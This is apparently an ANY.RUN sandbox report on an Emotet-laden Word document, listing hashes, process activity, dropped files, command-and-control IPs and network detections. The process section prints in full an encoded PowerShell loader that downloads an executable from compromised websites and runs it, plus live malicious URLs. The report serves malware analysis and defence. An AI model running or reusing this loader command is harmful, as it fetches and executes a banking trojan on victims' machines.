analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

PLIK_7562276521_37682022.doc

Full analysis: https://app.any.run/tasks/854eec9f-0843-46a2-9494-b60b69822dd8
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: May 24, 2019, 06:48:27
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
emotet
trojan
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: South Dakota, Subject: Fantastic Frozen Pizza, Author: Dominic Walker, Comments: Parks national, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu May 23 13:58:00 2019, Last Saved Time/Date: Thu May 23 13:58:00 2019, Number of Pages: 1, Number of Words: 15, Number of Characters: 90, Security: 0
MD5:

1EE921521C815BFBF689952D5EF700ED

SHA1:

AB785EEC0DD9895A44F74213074651172B5A5903

SHA256:

E465C5535172A17096F07F50224FF31FEF434F38773AFF65249044C4B4601D5A

SSDEEP:

3072:aS77HUUUUUANxCZUUUUUUUUUUUUUTkOQe5u5U8qKdglD4W:aS77HUUUUUANxCZUUUUUUUUUUUUUT5IE

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 985.exe (PID: 3852)
      • 985.exe (PID: 3304)
      • soundser.exe (PID: 1500)
      • soundser.exe (PID: 3644)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2100)

    • Emotet process was detected

      • soundser.exe (PID: 3644)

    • Changes the autorun value in the registry

      • soundser.exe (PID: 1500)

    • EMOTET was detected

      • soundser.exe (PID: 1500)

    • Connects to CnC server

      • soundser.exe (PID: 1500)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2100)
      • 985.exe (PID: 3852)

    • PowerShell script executed

      • powershell.exe (PID: 2100)

    • Executed via WMI

      • powershell.exe (PID: 2100)

    • Creates files in the user directory

      • powershell.exe (PID: 2100)

    • Starts itself from another location

      • 985.exe (PID: 3852)

    • Connects to server without host name

      • soundser.exe (PID: 1500)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2888)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2888)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: South Dakota
Subject: Fantastic Frozen Pizza
Author: Dominic Walker
Keywords: -
Comments: Parks national
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:05:23 12:58:00
ModifyDate: 2019:05:23 12:58:00
Pages: 1
Words: 15
Characters: 90
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Baumbach LLC
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 104
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Bogisich
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 985.exe no specs 985.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe

Process information

PID
CMD
Path
Indicators
Parent process
2888"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\PLIK_7562276521_37682022.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2100powershell -nop -e JABYAHMAcAAyADMAdwA9ACcAQgB6AHcAaQBSAHoAawAnADsAJABUAGgAZABTAGwARwAgAD0AIAAnADkAOAA1ACcAOwAkAEUAZgBtADAASgBDADkAPQAnAEYAMgBYAEoAYwBrACcAOwAkAFIARwBUAHUANQBHAFQAbAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVABoAGQAUwBsAEcAKwAnAC4AZQB4AGUAJwA7ACQAUQBNAGYATwBoAGoAYgA9ACcAbwBQAF8AbAA4AGkAcgAnADsAJABkAFcAdQBLADEAbAAyADgAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AGAALgBXAEUAYgBgAEMATABgAGkARQBOAFQAOwAkAE0AZgBGAGMAbgB2AE0APQAnAGgAdAB0AHAAOgAvAC8AZwBvAGwAZgBpAG4AZwB0AHIAYQBpAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzAGQAcQB4AG0AbQB0AF8AYwBkAHAAdAA2AGoALQA4ADYAMgA3ADAAMwAxADAANAAvAEAAaAB0AHQAcAA6AC8ALwByAGEAbQBlAHMAaABtAGUAbgBkAG8AbABhAGIAagBwAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBPAEEAUgBiAGgAdwBOAE8AQwBHAC8AQABoAHQAdABwAHMAOgAvAC8AYwBlAGwAbABzAGkAdABlADMANgAwAC4AYwBvAG0ALwBzAGMAcgBpAHAAdABzAG8ALwB5AG4AYwB0AGwAXwA1ADEAbQBwAGIAMABpAC0AMwAvAEAAaAB0AHQAcAA6AC8ALwAwADMALgBiAHkALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBpAHEAcQBwAGkAcQByAHEAOAByAF8AYgBuADIAaQA4ADYAdwA5ADMALQA3ADkAOAAyAC8AQABoAHQAdABwAHMAOgAvAC8AMgAxAGoAcwAuAGMAbAB1AGIALwB3AHAALQBhAGQAbQBpAG4ALwBxAHMAcwA3AHgAXwAzAHoAaABuAGgALQAxADQAMwAzADAANwA2ADQAMgAvACcALgBzAFAAbABpAFQAKAAnAEAAJwApADsAJABHAFoAaQBqAG4ANAA9ACcARwBsAG8AcABXADAAYQBMACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAHEAdgBpAEwANABEACAAaQBuACAAJABNAGYARgBjAG4AdgBNACkAewB0AHIAeQB7ACQAZABXAHUASwAxAGwAMgA4AC4AZABvAHcAbgBsAE8AYQBEAGYASQBsAGUAKAAkAFEAcQB2AGkATAA0AEQALAAgACQAUgBHAFQAdQA1AEcAVABsACkAOwAkAEYAYgBpADAASwA0AG8AUAA9ACcAVwBKAFcAcgBOAGEAYwBkACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQAUgBHAFQAdQA1AEcAVABsACkALgBsAGUAbgBHAHQAaAAgAC0AZwBlACAAMgAyADAANgA2ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBzAHQAYQBSAFQAKAAkAFIARwBUAHUANQBHAFQAbAApADsAJABqAFMAdwBYADIAYwAyAD0AJwBkAFoAcQBzAGsAZgAnADsAYgByAGUAYQBrADsAJABNAG0ANgBYAEoAXwA9ACcATQA4AGIANwBoADgARgBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAdQBtAFUAYQB3AHoAPQAnAEIAaQBwAEcAdAA4AFUAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3304"C:\Users\admin\985.exe" C:\Users\admin\985.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3852--35ed3734C:\Users\admin\985.exe
985.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3644"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
985.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1500--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 770
Read events
1 280
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
2
Unknown types
10

Dropped files

PID
Process
Filename
Type
2888WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE7F.tmp.cvr —
MD5:—
SHA256:—
2100powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MCPC16VJRFP779WZTVZ0.temp —
MD5:—
SHA256:—
2888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5402924D.wmfwmf
MD5:C452BB39DDAFC9EA626445194358F07F
SHA256:4FEF24472791E46B2C46B81F9BC939E2B8B38351D5DE8F27822F8B4208CA1A7B
2888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\93F11BEA.wmfwmf
MD5:ED6597C4DAB165274437682FDBE28E9F
SHA256:2D5BE223D186FB3621C6976DB6C7DD52F357136652ACB489B994BA3C00012605
2888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\65092AA7.wmfwmf
MD5:C007CA0F0C10F3FEFB9F911E20A52C93
SHA256:FD8F04DBEE2DCE8DE72AB07C27AE52E3FA6813383C307A5A93C293FC8C0A3957
2888WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:47F3A78E1467E8957745E1AC91E9BAEA
SHA256:3C76FD6AFE51036046F9363210E96C75BF03E2B9958F898E00EFCBD018CED9BA
2888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F2C4B47C.wmfwmf
MD5:41E925774A207C01E4B7BEA840AD3E4E
SHA256:6CCC02F1636437C4B9E930B88B5E6D1A80F790A5F077A5A2317FA69EAE3470A2
2888WINWORD.EXEC:\Users\admin\Desktop\~$IK_7562276521_37682022.docpgc
MD5:774750F62E8A55158FC5D9BA7D4C5572
SHA256:BE1C90CC763F662BF1FBC04E835384F2100C3172974D9961E58164311A94FC61
2888WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\PLIK_7562276521_37682022.doc.LNKlnk
MD5:ACA5CDA920118597806874477B905F86
SHA256:4883C79CECB9CED17B0E71842BC81E1C04C18E4F5DD1B74668BC60A3AAE4FDFF
2888WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:26EAC40B81FF5F4DADCF6DC2858E15B9
SHA256:2A4DA1FCDBCC1B1240247AC023B6CA46C4EE2CAAD5C383949DEC8837FC4410D4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
4
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1500
soundser.exe
POST
—
76.86.20.103:80
http://76.86.20.103/window/free/
US
—
—
malicious
1500
soundser.exe
POST
—
5.67.205.99:80
http://5.67.205.99/splash/
GB
—
—
malicious
2100
powershell.exe
GET
200
64.91.228.45:80
http://golfingtrail.com/wp-content/sdqxmmt_cdpt6j-862703104/
US
executable
74.0 Kb
malicious
1500
soundser.exe
POST
200
144.139.247.220:80
http://144.139.247.220/iplk/
AU
binary
81.0 Kb
malicious
1500
soundser.exe
POST
200
144.139.247.220:80
http://144.139.247.220/ban/
AU
binary
148 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1500
soundser.exe
76.86.20.103:80
—
Time Warner Cable Internet LLC
US
malicious
2100
powershell.exe
64.91.228.45:80
golfingtrail.com
Liquid Web, L.L.C
US
suspicious
1500
soundser.exe
5.67.205.99:80
—
Sky UK Limited
GB
malicious
1500
soundser.exe
144.139.247.220:80
—
Telstra Pty Ltd
AU
malicious

DNS requests

Domain
IP
Reputation
golfingtrail.com
  • 64.91.228.45
malicious

Threats

PID
Process
Class
Message
2100
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2100
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2100
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
1500
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
1500
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
1500
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
8 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
PLIK_7562276521_37682022.doc